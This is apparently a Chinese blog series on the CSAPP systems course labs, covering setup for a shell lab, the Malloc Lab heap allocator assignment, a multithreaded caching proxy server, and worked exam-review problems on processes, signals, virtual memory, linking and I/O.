tar zxvf manpages-zh-1.5.1.tar.gz
cd manpages-zh-1.5.1
./configure --prefix=/usr/local/zhman --disable-zhtw
make && make install


在 Mac 上会乱码，所以需要安装 groff，具体命令为：

brew install homebrew/dupes/groff


然后打开 /etc/man.conf，把 NROFF 的那一行改为：

NROFF preconv -e UTF8 | /usr/local/bin/nroff -Tutf8 -mandoc -c


最后我么加一个别名，方便使用（根据自己使用的 shell 来针对改，bash 的话是 ~/.bashrc，zsh 的话是 ~/.zshrc），在文件中加入这么一句：

alias cman='man -M /usr/local/zhman/share/man/zh_CN'


然后 source .zshrc 启用，我们就可以通过 cman 命令来查看了，比如说输入 cman kill，就可以看到

[image: 效果]

另外推荐一个比 man 更好用的文档，叫做 TLDR，具体效果如下

[image: ]

直接给出最常用的用法，不用自己搜索了，安装之后在终端里也可以直接使用，如下图所示

[image: ]

总结

这一次我们实现了一个简单的 shell，相信对于这个我们平时都在用的『老朋友』有了更多的理解，更重要的是，在 shell 背后所隐含的进程线程异常控制流等等都需要彻底搞明白，这个过程可能会比较烦躁，但是一通百通，这次实验是很好的练习。

参考资料


	Mac/Linux 安装man命令的中文帮助文档

	TLDR
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        这次我们会实现自己的 malloc, free, realloc, calloc 函数，并借此深入理解堆中的内存分配机制。更有意思的是，gdb 在这次实验中基本没太多用处，我们要自己写堆检查器用来 debug。




系列文章

读薄部分
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	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出
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读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



任务目标

实现自己的 malloc, free, realloc, calloc 函数。

我们需要做的是完成在 mm.c 中的以下几个函数

int mm_init(void);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);
void *calloc(size_t nmemb, size_t size);
void mm_checkheap(int);


mm-naive.c 中有一个简单的实现，另外 mm-textbook.c 中实现了课本中提到的 implicit list allocator。具体的函数介绍如下：


	mm-init：在这里执行所有的初始化操作，包括分配初始的堆区域。注意，必须在这里重新初始化所有的全局变量，并且不要调用 mem.init 函数。成功的话返回 0 ，否则返回 -1

	malloc：至少需要分配 size 这么大的空间（可能因为对齐的原因会更大一点，8 byte 对齐），不能超出堆的范围，也不能覆盖其他已分配的区域

	free：释放 ptr 指针指向的区域（这个区域必须是已分配的），free(NULL) 什么都不做

	realloc：重新分配，根据传入指针的不同，有不同的表现
	ptr 为 NULL 时，等同于 malloc(size)

	size 为 0 时，等同于 free(ptr)，需要返回 NULL

	ptr 不为 NULL 时，一定是指向一个已分配的空间的，就根据新的 size 的大小进行调整，并让 ptr 指向新的地址（如果是新地址的话），并且旧的区域应该被释放。另外需要注意的是，需要把原来 block 的值复制过去  





	calloc：分配一个有 nmemb 个大小为 size 的数组，这个函数不评分，只要简单实现即可

	mm_checkheap：扫描堆并检查其状态，注意，只有在检测到错误时才输出内容并调用 exit 退出。mm_heapchecker(__Line__); 传入的参数是当前行数，方便大家找到错误位置。



memlib.c 模拟了内存系统，可以调用下面的方法来得到响应的信息：


	void *mem_sbrk(int incr)：让堆扩展 incr 个字节，并返回新分配的地址的头指针

	void *mem_heap_lo(void)：返回指向堆的第一个字节的指针

	void *mem_heap_hi(void)：返回指向堆的最后一个字节的指针

	size_t mem_heapsize(void)：返回当前的堆大小

	size_t mem_pagesize(void)：返回系统的 page size



head checker 需要做的工作有：


	检查堆(implicit list, explicit list, segregated list)
	Check epilogue and prologue blocks

	Check each block’s address alignment

	Check heap boundaries

	Check each block’s header and footer: size(minimum size, slignment), previous/net allocate/free bit consistency, header and footer matching each other

	Check coalescing: no two consecutive free blocks in the heap





	检查 free list(explicit list, segregated list)
	All next/previous pointer are consistent (is A’s next pointer points ot B, B’s previous pointer should point to A)

	All free list pointers points between mem_heap_lo() and mem_heap_hi()

	Count free blocks by iterating through every block and traversing free list by pointers and see if they match

	All blocks in each list bucket fall within bucket size range(segregated list) 







需要注意的地方：


	不能改动 mm.h，但是可以在 mm.c 中添加 static 方法使代码更好理解

	mm.c 中不能定义任何全局 array, tree 或 list，但是可以定义全局 struct 和诸如 integer, float 和 pointer 等变量

	返回的指针必须是 8-byte 对齐的

	编译代码不能有警告

	建议先实现 explcit free list



提示与测试


	因为是 64 位机器，所以指针的大小是 8 字节

	sizeof(size_t) == 8

	gprof 工具可能会很有用

	三种组织 free block 的方法：implicit free list, explicit free list, segregated free list

	三种扫描 free block 的方法：first fit/next fit, blocks sorted by address with first fit, best fit

	可以随机用上面的方法排列组合

	可以根据 implicit free list（在 mm-textbook.c 中）来实现 explicit free list，然后实现 segregated list



可以通过 mdriver.c 来进行测试，每个测试会跑 12 次，一次检测正确性，一次检测空间使用，十次测试性能，下面是具体的参数：


	-p：完整测试

	-t <tracedir>：在自定义的文件夹中搜索测试文件

	-f <tracefile>：进行一个特定的测试

	-c <tracefile>：执行特定的测试 1 次，用来检测正确性很方便

	-h：输出命令行参数

	-l：用真实的 malloc 函数来测试，可以比较自己写的代码和系统代码的差距

	-V：输出各种信息

	-v <verbose level>：设置需要输出的日志等级

	-d <i>： 有 0,1,2 三个层级，检查的标准越来越严格

	-D：等于 -d2

	-s <s>：超过 s 秒则认为是超时，默认是永远不会超时的



主要的考察目标是空间使用率以及吞吐量（每秒钟执行的操作数目）

解题思路

题目中给出了一个提示，说堆的大小不会超过 $2^32$ 字节，这个是什么意思呢？其实很简单，我们知道 64 位机器中指针的长度是 8 个字节（八八六十四），但是因为堆的大小是有上限的，理论上来说，只要 4 个字节就可以完成整个空间的寻址（只需要记录偏移量即可），这样一来，用来保存结构信息的部分只需要原来的一半，内存的有效使用率自然就上去了。（不过具体作业的时候因为我主要参考 mm-textbook.c 中的代码，就没有另外做 4 字节寻址的版本了）

如果有仔细看习题课视频的话，其实助教已经讲得非常清楚了，我的建议如下：


	mm-naive.c 很短，一下就可以看完，用来热身

	mm-textbook.c 基本上包括各种所需的宏以及存储结构，一定要好好理解清楚

	确定了具体保存信息的数据结构之后，一定要先完成 heap checker

	遇到段错误的时候就需要利用 heap checker 找到具体问题所在了

	最好画简单的示意图，对照着来编码，不然很容易乱

	很多时候需要用到位操作，确保每个基本操作都没有错（如果用 mm-textbook.c 中的就不用担心这个）

	列表的粒度越细，利用率就越高，但是最好的优化还是从数据结构入手



最后要说的是不用自定义的数据结构应该很难做到 100 分，但是 90 分是没有问题的。

基础知识复习

宏与内联函数

宏实际上是一个简单的『查找并替换』的过程，会在编译前完成。一般用来定义常量以及简单的操作（这里很容易出错，下面会说）。

定义常量比较简单：#define NUM_ENTRIES 100 即可。

定义简单操作则需要注意，比如 #define twice(x) 2*x 这样写就是会出问题的，如果在代码中调用 twice(x+1) 期望得到的结果应该是 2x+2，但是因为宏只是简单的替换，所以会变成 2x+1。解决办法是一定要用括号包裹住会被替换的值，比如之前的例子应该改写成 #define twice(x) (2*(x))。

使用宏，可以避免函数调用，也就少了很多跳转和对应的栈处理。对于 malloc 来说，可以通过宏快速访问 header 信息（例如 payload size, valid）

宏的缺点也同样明显，能够执行的操作不如函数那么强大，并且不会进行拼写和类型检查，很容易出错，出错了也不容易找到问题所在。

内联函数会在编译的时候被写入到代码中，同样因为不需要真实的函数调用，所以效率也很高。一般来说，比较小的函数都可以设置为内联。

两者之间的差别在于：


	宏在编译前处理

	内联函数在编译时处理（带有类型检查）

	宏不能有返回值

	宏可能会带来一些副作用

	很难调试宏



具体到这次作业：


	两个都需要使用

	宏适合做小的工作，比方说让代码更加容易理解

	如果宏没有办法完成，先考虑使用内联函数



指针复习

指针恐怕是 C 语言最难的一部分了，这里会尽量解释得清楚一些。

先来看看类型转换可能带来的问题：


	从 <type_a>* 转换到 <type_b>*（一个类型的指针转换为另一个类型的指针）
	值并不会改变

	改变的是解析引用的行为，比方说原来是 int 指针，那么一次会读 4 个字节，现在转换成了 char 指针，一次就读 1 个字节（这里具体的字节数看是 32 位还是 64 位系统）





	从 <type_a>* 转换到 integer / unsigned int
	指针的值实际上就是 8 字节的数字

	这是一个很值得利用的特性！

	不过也很容易出错就是了





	从 integer / unsigned int 转换到 <type_a>*
	这种情况基本不会使用，因为没人知道转换后的指针会指向什么地方







对于指针进行算术运算时，一定要注意跟指针本身的类型是有关的，比方说

type_a* pointer = ...;
(void *) pointer1 = (void *)(pointer + a);


实际上进行的运算是：

pointer1 = pointer + (a * sizeof(type_a))


对应的汇编代码是：

lea (pointer, a, sizeof(type_a)), pointer1


这里需要注意，如果一个指针的类型是 void *，那么是不能对其进行算术操作的，因为我们没办法确定其大小。

我们不能够对空指针进行解引用，来看一个例子：

int *ptr1 = malloc(sizeof(int));
*ptr1 = 0xdeadbeef;

int val1 = *ptr1;
int val2 = (int) *((char *) ptr1);


那么 val1 和 val2 的值分别是什么呢？

val1 的值比较简单，因为没有改动，所以就是 0xdeadbeef，不过 val2 的值就比较特别了，我们具体来看一看，首先指针 ptr1 被转换成了 char 指针，按照小端规则，指针指向的值变成了 0xef，解引用之后在转换成 int 类型，前面会补上 ffffff，最后就是 0xffffffef

Malloc

需要知道的概念：


	malloc / calloc / realloc

	free

	sbrk

	payload

	framentation (internal vs. external)

	colescing
	Bi-directional

	Immediate vs. Deferred







在 paylaod 比 block size 小的时候就会产生内部碎片，比方说

void *m1 = malloc(3);
void *m2 = malloc(3);


因为 m1 和 m2 都需要以 8 bytes 对齐，所以都会有 5 个 bytes 的内部碎片。

实现是需要考虑的问题有：


	怎么知道 block 在哪里

	怎么知道 block 多大

	怎么知道 block 是否 free

	注意：不能缓存 malloc/free 调用，必须实时处理

	注意：调用 free 的时候只传入一个指针，不会有表示 size 的参数

	我们需要一个数据结构来存储关于 block 的相关信息



这个数据结构需要做到：


	block 的位置，block 的大小，以及 block 是否 free

	在 malloc/free 调用的时候，需要能够改变这个数据结构

	需要通过这个数据结构找到下一个合适的 block

	能够快速标记一个 block 是 free 还是 allocated

	能够检测是否有足够空间



具体怎么实现就需要自己思考了，唯一需要注意的是内存就是我们存放这些信息的地方。

总结

这次实验是整个系列七次中最难的一次，如果说其他的实验更像是拆炸弹拼拼图或者盖房子的话，那么这次就像是拿着手术刀做心脏手术，一着不慎，满盘皆输。无论是对于每个比特的操作，还是在有限的内存空间中实现高效的数据结构，都需要非常高的操作精度，也就是说，我们一要知道自己应该做什么，二要知道怎么做，最后还要做得好。
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        很多人用过 tomcat，但很少人会想写一个自己的 tomcat，毕竟听起来就觉得浩大。不过不要紧张，这次我们用几百行代码写一个代理服务器，多线程还带缓存，甚至可以自己在浏览器里用！
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	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



任务目标

实现一个多线程带缓存的代理服务器！

这次的作业主要分三个部分：


	Sequential Proxy: 接收客户端发送的 HTTP 请求，解析之后向目标服务器转发，获得响应之后再转发回客户端

	Concurrent Proxy: 在第一步的基础上，支持多线程

	Cache Web Objects: 使用 LRU 缓存单独的对象，而不是整个页面



样例测试命令：curl --proxy 128.2.220.15:45962 http://www.cs.cmu.edu

Sequential Web Proxy

第一步是实现一个简单的代理服务器，只处理 HTTP/1.0 GET 请求。具体步骤为


	端口号在命令行指令中指定
	申请自己的端口 $ ./port-for-user.pl dawang，这里申请的总是偶数，所以如果需要一个额外的端口，直接在端口号 +1 即可

	不要随便指定端口，不然很可能干扰到别人

	$ ./proxy 12345





	监听从该端口进入的所有请求

	解析请求，并转发合法的 HTTP 请求
	假设请求为 GET http://www.cmu.edu/hub/index.html HTTP/1.1

	则主机名 www.cmu.edu

	请求的页面 /hub/index.html

	HTTP 请求每行以 \r\n 结束，以一个空行 \r\n 结尾

	需要判断地址里有没有带端口





	把从服务器获取到的响应返回给客户端



请求的 header 也很重要，一定要有的内容是：


	Host: 如 Host: www.cmu.edu

	User-Agent: 如 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3

	Connection: 必须发送 Connection: close

	Proxy-Connection: 必须发送 Proxy-Connection: close



Multiple Concurrent Requests

使用 POSIX 线程，最好在线程一开始执行 pthread_detach(pthread_self()); 这样就不用自己负责清理线程了。

注意竞争条件，尽量减少共享资源，访问共享资源的时候需要同步。

open_clientfd 和 open_listenfd 函数是线程安全的

Caching Web Objects

具体缓存的机制是 LRU，一些具体的参数是：


	缓存大小限制 MAX_CACHE_SIZE = 1 MiB，注意只缓存 web 对象，其他诸如 metadata 应该忽略

	单个文件大小限制 MAX_OBJECT_SIZE = 100 KiB

	如果有 T 个连接，那么最大的空间为 MAX_CACHE_SIZE + T * MAX_OBJECT_SIZE



同步问题可以参考『读者-写者问题』

调试工具


	Telnet: 不安全的 ssh，需要手动构造 HTTP 请求，如果想要测试非法的 header，这个功能就很有用
	man telnet

	telnet www.wdxtub.com

	GET http://www.wdxtub.com HTTP/1.0 





	cURL: 会自动构建 HTTP 请求
	curl http://www.wdxtub.com

	代理模式 curl --proxy lemonshark.ics.cs.cmu.edu:3092 http://www.wdxtub.com 





	netcat: 多用途网络工具，用法与 telnet 类似
	nc catshark.ics.cs.cmu.edu 12345

	GET http://www.cmu.edu/hub/index.html HTTP/1.0







解题思路

代理服务器作为客户端和服务器的中间人，既需要我们了解客户端的知识，也需要懂得服务器的知识。整个过程如下：


	客户端发送请求给代理服务器

	代理服务器转发请求给实际访问的服务器

	实际访问的服务器返回响应给代理服务器

	代理服务器转发响应给客户端



这个实验思路不难，难在具体的实现，和对 HTTP 的基本认识。

注意事项


	大端小端

	能够处理各种 URL（合法或非法）

	不是所有的内容都是 ASCII 码，注意选择对应的函数来处理二进制文件（图像和视频）

	所有的请求都用 HTTP/1.0 来转发

	需要处理 SIGPIPE 信号，默认的操作是关闭进程，这里应该屏蔽这个信号

	使用 Robust I/O package 的 read, write, fread, fwrite 来增加健壮性

	如果调用 read 来获取已经被关闭的 socket，会返回 -1，并给出 ECONNRESET 错误，不应该因为这个错误而导致进程终结

	如果调用 write 来获取已经被关闭的 socket，会返回 -1，并给出 EPIPE 错误，不应该因为这个错误而导致进程终结

	代码注意模块化

	因为可以写单独的文件，需要对应更新 Makefile

	Header 注意格式规范

	做 Cache 的时候注意指针



其他需要注意的地方（来自这里）

在 proxy 打开与 server 的 TCP 连接的时候，需要调用 gethostbyname 或者gethostbyaddr 来通过 DNS 获取 server 主机的DNS信息，比如 ip 地址，别名之类的，返回的是一个 struct 的指针。但是这个 struct 是一个静态变量，也就是说这些函数不支持多线程的访问，是线程不安全的。解决方法是定义一个 mutex 来加锁，任意时刻只能又一个线程在调这些函数。

调用 Signal(SIGPIPE, SIG_IGN); 将 SIGPIPE 这个信号忽略掉。如果尝试两次发送数据到一个已经被对方关闭的 socket 上时，内核会发送一个 SIGPIPE 信号给程序，在默认情况下，会终止当前程序，显然不是我们想要的，所以要忽略它。这里有一个 stackoverflow 上的相关问题。还有一点，往 broken pipe 里写会使 errno 等于 EPIPE，而往 broken pipe 里读会使 errno 等于 ECONNRESET。

HTTP/1.1 里默认将 connection 定义为 keep-alive，也就是一条 TCP 连接可以处理多个请求，不用每次都要重新建立 TCP 连接。我们的简易 proxy 还无法提供这样的功能，所以在读 client 发过来的 header 的时候，如果是 Connection: keep-alive 或者 Proxy-Connection: keep-alive，我们都要把它们换成 Connection: close 或 Proxy-Connection: close。

创建线程以后记得要detach掉，否则这个线程结束后不会释放资源直到有别的线程join了这个线程。

如果 header 里没有 Content-Length 这一项，怎么确定 body 的长度？这个问题一直没想过直到现在遇到了这个问题。这个长度写到了 body 里，这种方式叫做 Transfer Encoding。因为服务器在处理静态对象时，事先知道对象的大小；而在处理动态对象时，无法事先知道 body 的长度。实现的时候分两种情况来从 socket 中读数据。

需要正确关闭所有的文件描述符。系统给一个程序能打开的描述符数量做了一个限制。如果是 ubuntu 下，可以通过 cat /proc/sys/fs/file-max 来查看最大文件描述符数。在 proxy 运行一段时间，确保描述符不会持续增加。在 ubuntu 下查看程序打开的描述符方法：找到程序的pid，然后 cat /proc/$pid/fd。

总结

至此，读厚/读薄 CSAPP 系列终于告一段落，这应该是我完成的第一个技术系列。想说的话很多，从中学到的东西更多。看到自己的文章对大家有那么一点帮助，深感哪怕是一点微小的工作，也应该做下去，更幸运的是因此认识了许许多多朋友，只有自己做出有价值的东西，别人才会真正认同吧。

人生在世，白驹过隙，能做的事情并不算多。如果不想碌碌无为一辈子，那么就要找到自己的方向，然后坚定地走下去。歌女的歌，舞者的舞，剑客的剑，文人的笔，英雄的斗志，都是这样子的，只要是不死，就不能放弃。

与诸君共勉。



            
            
              
                【读厚 CSAPP】知识点复习
              
            
          


      
      

      
        考试的目的在于明晰知识点，复习的目的在于温故知新，理解最重要。和实验中考察的不同，这一讲我们结合往年的测试题，来回顾下重点的理论知识点。




易错


	只有已退出(Exited)的进程才能被回收

	带合并的 malloc 的空间利用率可能更高、可能一样、可能更低（相对于不带合并的 malloc）

	执行 exec 之后被阻塞的信号会保留

	执行 exec 可能会有 0 次或 1 次返回，取决于执行有没有发生错误，有错才会返回

	已初始化的变量保存在 ELF 二进制文件中的 .data 部分

	fork 之后父进程和子进程会立即共享 open file struct

	fork 之后会复制 file descriptor table

	进程没有办法处理 SIGKILL 信号

	链接器的输入可以是 .o 或 .a

	增加 cache 中的 line size 可以减少 compulsory miss

	int *(*f[3])(); 的意思是 an array of pointers to functions that return pointers to int

	User stack 不在 ELF 中



大部分概念在例题讲解中都有介绍，这里就不专门列出了。以下这部分是关键：


	内部碎片包括 header 和 footer，不只是 payload 的部分

	IO 题目的顺序需要注意，加上 fork 之后需要非常仔细

	信号量部分需要仔细阅读题目，尤其是会阻塞相同的信号这里

	移位数目超过数据本身的位数会出现不定结果

	注意活锁和饥饿的区别



例题

进程控制 1

假设下面代码中 fork, exec, wait 和 printf 都不会失败，每次调用 printf 之后 stdout 都会被清空(flushed)

int global_x = 0;

int main(int argc, char *argv[])
{
    global_x = 17;
    
    // 这里 fork 永远不会失败
    if (!fork()) {
        // 这里是子进程
        global_x++;
        printf("Child: %d\n", global_x);
    }
    else
    {
        // 这里是父进程
        wait(NULL);
        global_x--;
        printf("Parent: %d\n", global_x);
    }
    
    return 0;
}



前面代码的输出是什么？



这题考察的是对 fork 做的事情了不了解，简单来说，fork 之后不同的进程中 global_x 各有一份，所以子进程加 1 变成 18，父进程减 1 变成 16，具体的流程已经在注释中标出。

Child: 18
Parent: 16


另外需要注意的是父进程中的 wait 函数，下一题会涉及。


如果不调用 wait 函数，输出会有什么变化？



如果没有了 wait 函数，那么父进程不会等待子进程完成，所以可能会在子进程输出之前打印对应的语句。但是无论顺序怎么变，值是不会变化的，子进程中是 18，父进程中是 16.


如果程序改为下面的片段，输出是否会变化？



int global_x = 0;

int main(int argc, char *argv[])
{
    global_x = 17;
    
    // 这里 fork 永远不会失败
    if (!fork())
    {
        global_x++;
        // 这里 exec 永远不会失败
        execl("./my_child", "./my_child", NULL);
        printf("Child finished\n");
    }
    else 
    {
        wait(NULL);
        global_x--;
        printf("Parent: %d\n", global_x);
    }
    
    return 0;
}

// 下面是 my_child 的代码
int global_x;

int main(int argc, char *argv[])
{
    printf("Child: %d\n", global_x);
    return 0;
}


父进程的输出不变，因为代码并没有什么变化，也没有其他会改变的地方。但是对于子进程来说，因为在 my_child 中的 global_x（同名变量）是未初始化，所以 exec 会把原来的 18 给刷掉，输出可以认为是 Child: 0（当然也有可能被随机初始化为 18，但是这里姑且这么考虑）

进程控制 2

下面代码的输出是什么？

pid_t pid;
int counter = 2;

void handler1(int sig)
{
    counter = counter - 1;
    printf("%d", counter);
    fflush(stdout);
    exit(0);
}

int main()
{
    signal(SIGUSR1, handler1);
    printf("%d", counter);
    fflush(stdout);
    
    if ((pid = fork()) == 0)
    {
        while (1) {};
    }
    
    kill(pid, SIGUSR1);
    waitpid(-1, NULL, 0);
    counter = counter + 1;
    printf("%d", counter);
    exit(0);
}


和前面的比较类似，只要意识到无论是 fork 出去的进程，还是 signal handler 都有自己的一套变量，所以可以很容易得到最终的答案是 213

动态内存分配

这部分题目关键在于读题，给出的条件会极大影响最终的答案。本题中所有的问题是基于下面代码的：

#define N 32

void *pointers[N];
int i;

for (i = 0; i < N; i++)
    pointers[i] = malloc(4);

for (i = 0; i < N; i++)
    free(pointers[i]);
    
for (i = 0; i < N; i++)
    pointers[i] = malloc(56);


假设 malloc 是用 implicit list 实现的，header 为 8 字节，没有 footer，每个 block 都需要跟 8 字节对齐（也就是大小是 8 的倍数）。使用 first-fit 策略，如果没有足够的空间，就会调用 sbrk 来申请满足要求的是 8 的倍数的大小的空间。不会合并和分隔 block。


上面代码执行完毕，sbrk 函数一共申请了多少空间？



$$(8+8)\times 32 + (8+56)\times 32 = 2560 \; bytes$$

第一个 8 是 header，必须要有的，后面第二个 8 是因为要对齐，因为不合并，所以前面申请的空间在第三次循环的时候并不能用，需要重新申请。


代码执行完毕后，已分配的空间大小为？（包括 header 和内部碎片）



$$(8+56) \times 32 = 2048$$

第一次循环中申请的空间在第二次循环中释放了，所以只剩下第三次循环的空间是已分配的


代码执行完毕后，未分配的空间大小为？（包括 header）



$$(8+8)\times 32=512$$

其实就是第二次循环中释放的部分


用户申请的空间占使用 sbrk 得到的空间的比例是多少？



这里注意是用户申请的而不是已分配的

$$56 \times 32 \div (16 \times 32 + 64 \times 32) = 7/10$$

换个条件

其他条件一致，只是这次 sbrk 的实现中最少需要分配 64 字节的空间，重新回答前面的四个问题：


上面代码执行完毕，sbrk 函数一共申请了多少空间？



$$(8+56)\times 32 = 2048 \; bytes$$

因为第一次和第三次可以用同样的，所以无须其他空间


代码执行完毕后，已分配的空间大小为？（包括 header 和内部碎片）



$$(8+56) \times 32 = 2048$$

因为第一次和第三次可以用同样的，所以无须其他空间


代码执行完毕后，未分配的空间大小为？（包括 header）



0

因为第一次和第三次可以用同样的，所以无须其他空间


用户申请的空间占使用 sbrk 得到的空间的比例是多少？



这里注意是用户申请的而不是已分配的

$$56 \times 32 \div (64 \times 32) = 7/8$$

虚拟内存

假设我们有一个页大小为 4KB 的 32 位系统，我们通过具体的计算来比较一下 1-level 页表和 2-level 页表的表现。

对于 2-level 页表来说

这里 page directory 和 page table 的大小都是 4KB，也就是一页的大小


Page directory 中有多少条记录



32 位系统中一个地址有 32 比特也就是 4 字节，一页的大小是 4K 字节，所以能够保存 4K/4 = 1K = 1024 个地址，对应 1024 个 page table 的地址。


Page table 中有多少条记录



32 位系统中一个地址有 32 比特也就是 4 字节，一页的大小是 4K 字节，所以能够保存 4K/4 = 1K = 1024 个地址，对应 1024 个虚拟的地址。

另外一个角度可以这么看，一共 32 位，一页 4KB 也就是 12 位，还剩 20 位就平均分，两层嘛，各 10 位。


Page directory 和 page table 一共要占多少空间



我们一共需要 1 个 page directory 和 1024 个 page table，所以就是 4KB + 4MB

对于 1-level 页表来说

注意这里没有给出页表的大小


页表中需要有多少条记录



看位数，一共 32 位，一页是 4KB 也就是 12 位，剩下的 20 位都必须塞到页表中，所以页表中一共有

$$2^{20} 条记录 = 1,048,576 \;条记录$$


Page table 需要占据多少空间



一条记录 4B，那么 1,048,576 条记录就需要 4MB(4,194,304B)


从前面的比较可以看出，2-level 的比 1-level 的占的空间要多，为什么实际我们反而不用 1-level 的呢？



因为实际使用的时候，我们对于内存的需要是离散的，很少需要一个完整的 2-level 页表，所以大部分情况下 2-level 只需要在内存中映射很小的一部分，占用的空间也比较少


假设我们有一个进程，其地址空间如下，对应填写 page directory 中的内容，可选的有 unallocated, stack, heap, text and data 和 kernel memory



+---------------------------+ 0xFFFFFFFF
|  9MB     Stack            |
+---------------------------+
|  ...     Unused           |
+---------------------------+
|  6MB     Heap             |
+---------------------------+
|  4MB     Unused           |
+---------------------------+
|  12MB    Text and Data    |
+---------------------------+
|  16MB    Kernel Memory    |
+---------------------------+ 0x00000000


这里需要注意的就是顺序是相反的，page directory 的第 0 项就从 0x00000000 开始，然后前面也知道 page directory 中的一项表示 4MB，对照填写即可，如下：

----------------------
| 0  | kernel memory |
|--------------------|
| 1  | kernel memory |
|--------------------|
| 2  | kernel memory |
|--------------------|
| 3  | kernel memory |
|--------------------|
| 4  | text and data |
|--------------------|
| 5  | text and data |
|--------------------|
| 6  | text and data |
|--------------------|
| 7  | unallocated   |
|--------------------|
| 8  | heap          |
|--------------------|
| 9  | heap          |
|--------------------|
| 10 | unallocated   |
|--------------------|
| 11 | unallocated   |
|--------------------|
| 12 | unallocated   |
|--------------------|
|....| unallocated   |
|--------------------|
|n-12| unallocated   |
|--------------------|
|n-11| unallocated   |
|--------------------|
|n-10| unallocated   |
|--------------------|
| n-9| unallocated   |
|--------------------|
| n-8| unallocated   |
|--------------------|
| n-7| unallocated   |
|--------------------|
| n-6| unallocated   |
|--------------------|
| n-5| unallocated   |
|--------------------|
| n-4| unallocated   |
|--------------------|
| n-3| stack         |
|--------------------|
| n-2| stack         |
|--------------------|
| n-1| stack         |
----------------------


TLB 相关

假设我们的系统设定为：


	two way associative TLB

	TLB 有 8 条记录

	页大小为 2 的 8 次方

	虚拟内存大小为 2 的 16 次方



TLB 中的数据如下：

[image: ]

用以上的信息填写下表，如果信息不够的话，则不需要填写




	虚拟地址
	物理地址





	0x7E85
	? 



	0xD301
	?



	?
	0x3020



	0xD040
	?



	?
	0x5830





要做这题，需要一幅图：

[image: ]

或者说，一定要理解具体的地址翻译过程，这里使用 TLB 而没有给出页表，所以如果 TLB 中没有的，或者是 Valid 为 0 的，都可以认为是信息不够。

我们先来看看第一个虚拟地址 0x7E85，为了表示方便，先写成二进制形式

# 16 进制
0x7E85
# 2 进制
0111 1110 1000 0101
# 一页的大小为 2^8，也就是说前 8 位是 VPN，后面是 VPO
# VPO 也就是实际的 PPO
# 又因为 TLB 一共有 4 个 set，所以需要 2 位
# 重写之后是这样
01 1111 10 1000 0101
# 前 6 位是 TLB tag，之后 2 位是 TLB index
# 所以对应的 tag 是
0x1F
# 对应的 index 是
2
# 从 TLB 表中查询有
# index 为 2 时 且 tag 为 0x1F 对应的物理地址是
0x95
# 拼接上原来的 VPO 就是
0x9585


按照这个方法，可以发现 0xD301 和 0xD040 都没有办法找到有效的 TLB 项。

然后我们来看看从物理地址到虚拟地址的翻译，以 0x3020 为例，首先因为后 8 位是一样的，所以不用关系，也就是说只需要关注 TLB 表中 0x30 的项目（Valid 同样需要为 1）。我们在 set 0 中找到了，所以知道 TLB index 为 0，然后 Tag 为 0x13，对应写出来就是 01 0011 00，拼成完整地址是 0100 1100 0010 0000 也就是 0x4C20。

根据这样的方法，最终的答案是：




	虚拟地址
	物理地址





	0x7E85
	0x9585



	0xD301
	—



	0x4C20
	0x3020



	0xD040
	—



	—
	0x5830





链接 1

下面给出两个代码片段，写下各个符号的各个属性，具体如下表所示

// main.c
int x = 5;
int y;
static int z = 3;

int main()
{
    printf("%x\n", z());
    x = 0xdeadbeef;
    printf("%x\n", z());
}

// foo.c
short x;
int y = 0x12345678;

int z()
{
    return y;
}


对应的表格是：

---------------------------------------------------------------
| File   | Symbol | Strength/scope | Value      | ELF section |
|-------------------------------------------------------------|
|        |   x    |  strong global |     5      |    .data    |
|        |----------------------------------------------------|
|        |   y    |  weak global   |     -      |    .data    |
| main.o |----------------------------------------------------|
|        |   z    |  local         |     3      |    .data    |
|        |----------------------------------------------------|
|        |  main  |  strong global |     -      |    .text    |
|-------------------------------------------------------------|
|        |   x    |  weak global   |     -      |    .data    |
|        |----------------------------------------------------|
| foo.o  |   y    |  strong global | 0x12345678 |    .data    |
|        |----------------------------------------------------|
|        |   z    |  strong global |     -      |    .text    |
---------------------------------------------------------------


链接 2


给出下面两段代码，编译执行之后的输出是什么？



// main.c
#include <stdio.h>

static int a = 1;
int b = 2;
int c;

int main()
{
    int c = 3;
    
    foo();
    printf("a=%d, b=%d, c=%d\n", a, b, c);
    return 0;
}

// foo.c
int a, b, c;

void foo()
{
    a = 4;
    b = 5;
    c = 6;
}


这里最终输出 a=1, b=5, c=3

具体说明一下，a 是 static 的，可以认为不受其他函数影响，所以仍然是原来的 1；b 在 main 中有初始化，所以是 strong 的，在 foo 中对 b 的引用实际上是引用 main 的 b，所以 b 变成 5；最后 c 会被局部变量覆盖，就是 3.

输入输出

下面的代码会输出什么呢？假设所有的系统调用都会成功，且 read() 和 write() 是原子的。foo.txt 中的内容是 ABCDEFG

// 这个函数每次读取一个字符，输出后清空缓冲区
void read_and_print_one(int fd)
{
    char c;
    read(fd, &c, 1);
    printf("%c", c);
    fflush(stdout);
}

int main(int argc, char *argv[])
{
    // 均为只读的 file descriptor
    int fd1 = open("foo.txt", O_RDONLY);
    int fd2 = open("foo.txt", O_RDONLY);
    read_and_print_one(fd1); // 读取 fd1 第一个字符并输出 A
    read_and_print_one(fd2); // 读取 fd2 第一个字符并输出 A
    
    if (!fork()) // fork 之后继承所有的 fd
    {
        read_and_print_one(fd2); // 读取 fd2 第二个字符并输出 B
